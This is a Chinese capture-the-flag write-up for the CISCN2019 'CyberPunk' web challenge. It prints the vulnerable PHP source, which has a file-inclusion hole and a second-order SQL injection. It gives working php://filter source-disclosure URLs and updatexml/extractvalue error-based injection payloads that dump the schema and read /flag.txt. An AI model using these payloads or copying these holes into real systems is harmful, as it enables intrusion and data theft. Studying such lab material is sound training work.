[CISCN2019 华北赛区 Day1 Web5]CyberPunk

0x00 知识点

PHP伪协议直接读取源码

http://xxx.xxx/index.php?file=php://filter/convert.base64-encode/resource=index.php

updatexml报错注入
不懂的可以看链接:

https://blkstone.github.io/2017/11/09/updatexml-sqli/

关于 updatexml 函数
UPDATEXML (XML_document, XPath_string, new_value);
第一个参数:XML_document是String格式,为XML文档对象的名称,文中为Doc
第二个参数:XPath_string (Xpath格式的字符串) ,如果不了解Xpath语法,可以在网上查找教程。
第三个参数:new_value,String格式,替换查找到的符合条件的数据
作用:改变文档中符合条件的节点的值

http://www.target.com/index.php?id=1 and updatexml(1,concat(0x7e,(SELECT @@version),0x7e),1)
http://www.target.com/index.php?id=updatexml(1,concat(0x7e,(SELECT @@version),0x7e),1)
http://www.target.com/index.php?id=updatexml(1,concat(0x7e,SUBSTR((SELECT @@version),1,24),0x7e),1)

这里解释一下为什么会报错:

ONCAT(str1,str2,…)  

返回结果为连接参数产生的字符串。如有任何一个参数为NULL ,则返回值为 NULL。

通过查询@@version,返回版本。然后CONCAT将其字符串化。因为UPDATEXML第二个参数需要Xpath格式的字符串,所以不符合要求,然后报错。

错误大概会是:

ERROR 1105 (HY000): XPATH syntax error: ’:root@localhost’

另外,updatexml最多只能显示32位,需要配合SUBSTR使用。

updatexml(1,concat(0x7e,SUBSTR((SELECT f14g from f14g LIMIT 0,1),1,24),0x7e),1)
updatexml(1,concat(0x7e,(select substring(f14g,20) from f14g limit 0,1),0x7e),1)

扩展:extractvalue() 报错型SQL注入

1 && extractvalue(0x0a,concat(0x0a,(select database())))#
1 && extractvalue(0x0a,concat(0x0a,(select table_name from information_schema.tables limit 0,1)))#
1 && extractvalue(0x0a,concat(0x0a,(select column_name from information_schema.columns limit 0,1)))#
1 && extractvalue(0x0a,concat(0x0a,(select substr(f14g,1,32) from f14g)))#
1 && extractvalue(0x0a,concat(0x0a,(select substr(f14g,15,32) from f14g)))#

0x01 解题

根据源代码提示
先用伪协议读一下源码:

以此类推得到我们通过点击得到的页面

<?php   //index.php

ini_set('open_basedir', '/var/www/html/');

// $file = $_GET["file"];
$file = (isset($_GET['file']) ? $_GET['file'] : null);
if (isset($file)){
    if (preg_match("/phar|zip|bzip2|zlib|data|input|%00/i",$file)) {
        echo('no way!');
        exit;
    }
    @include($file);
}
?>


<!--?file=?-->
<?php  //change.php
require_once "config.php";

if(!empty($_POST["user_name"]) && !empty($_POST["address"]) && !empty($_POST["phone"]))
{
    $msg = '';
    $pattern = '/select|insert|update|delete|and|or|join|like|regexp|where|union|into|load_file|outfile/i';
    $user_name = $_POST["user_name"];
    $address = addslashes($_POST["address"]);
    $phone = $_POST["phone"];
    if (preg_match($pattern,$user_name) || preg_match($pattern,$phone)){
        $msg = 'no sql inject!';
    }else{
        $sql = "select * from `user` where `user_name`='{$user_name}' and `phone`='{$phone}'";
        $fetch = $db->query($sql);
    }

    if (isset($fetch) && $fetch->num_rows>0){
        $row = $fetch->fetch_assoc();
        $sql = "update `user` set `address`='".$address."', `old_address`='".$row['address']."' where `user_id`=".$row['user_id'];
        $result = $db->query($sql);
        if(!$result) {
            echo 'error';
            print_r($db->error);
            exit;
        }
        $msg = "订单ä
<?php  //search.php
require_once "config.php"; 

if(!empty($_POST["user_name"]) && !empty($_POST["phone"]))
{
    $msg = '';
    $pattern = '/select|insert|update|delete|and|or|join|like|regexp|where|union|into|load_file|outfile/i';
    $user_name = $_POST["user_name"];
    $phone = $_POST["phone"];
    if (preg_match($pattern,$user_name) || preg_match($pattern,$phone)){ 
        $msg = 'no sql inject!';
    }else{
        $sql = "select * from `user` where `user_name`='{$user_name}' and `phone`='{$phone}'";
        $fetch = $db->query($sql);
    }

    if (isset($fetch) && $fetch->num_rows>0){
        $row = $fetch->fetch_assoc();
        if(!$row) {
            echo 'error';
            print_r($db->error);
            exit;
        }
        $msg = "<p>姓名:".$row['user_name']."</p><p>, 电话:".$row['phone']."</p><p>, 地址:".$row['address']."</p>";
    } else {
        $msg = "未找到订单!";
    }
}else {
    $msg = "信息不全";
}
?>

分析一下代码:

在查询的时候使用了正则去过滤,而且过滤的内容非常广泛,很难进行注入。
在写入时候使用了预处理所以无法进行注入。但是可以注意到使用正则过滤的时候并没有对地址过滤,我们跟进可以发现在change.php里地址是拼接进sql语句了,但是使用了addslashes()对单引号进行了转义,导致无法逃逸。
但是看这里

$address = addslashes($_POST["address"]);
if (isset($fetch) && $fetch->num_rows>0){
        $row = $fetch->fetch_assoc();
        $sql = "update `user` set `address`='".$address."', `old_address`='".$row['address']."' where `user_id`=".$row['user_id'];
        $result = $db->query($sql);
        if(!$result) {
            echo 'error';
            print_r($db->error);
            exit;
        }

在修改地址时候会将地址查询出来再拼接到更新语句,那么这里就算我们逃逸不了但是可以将后面的单引号给注释掉导致报错,同时这里将sql错误内容给打印出来了,可以使用报错注入。

payload:

//数据库
1' where user_id=updatexml(1,concat(0x7e,(select substr(database(),1,20)),0x7e),1)#
//表名
1' where user_id=updatexml(1,concat(0x7e,(select substr(table_name,1,20)from information_schema.tables where table_schema='ctfusers'),0x7e),1)#
//字段
1' where user_id=updatexml(1,concat(0x7e,(select substr(group_concat(column_name),1,20)from information_schema.columns where table_name='user'),0x7e),1)#
//数据
1' where user_id=updatexml(1,concat(0x7e,(select substr(load_file('/flag.txt'),1,20)),0x7e),1)#
1' where user_id=updatexml(1,concat(0x7e,(select substr(load_file('/flag.txt'),20,50)),0x7e),1)#


这里来解释一下最后的数据,因为我们在查询数据的时候没有flag,就想到了查根目录的flag文件。而且flag分了2部分,我们就应substr查。
使用payload:

先在初始页面随便输数据

接着修改地址,地址修改为所构造的payload。修改之后再次修改,将地址设置为随便一个正常值,这样就能看到报错页面。

如果想要使用新的payload,只需要先删除订单在重复以上操作即可。

参考链接:https://www.plasf.cn/2019/11/02/2019-11-2-复现CISCN2019-华北赛区-Day1-Web5]CyberPunk/

原文地址:https://www.cnblogs.com/wangtanzhi/p/12318551.html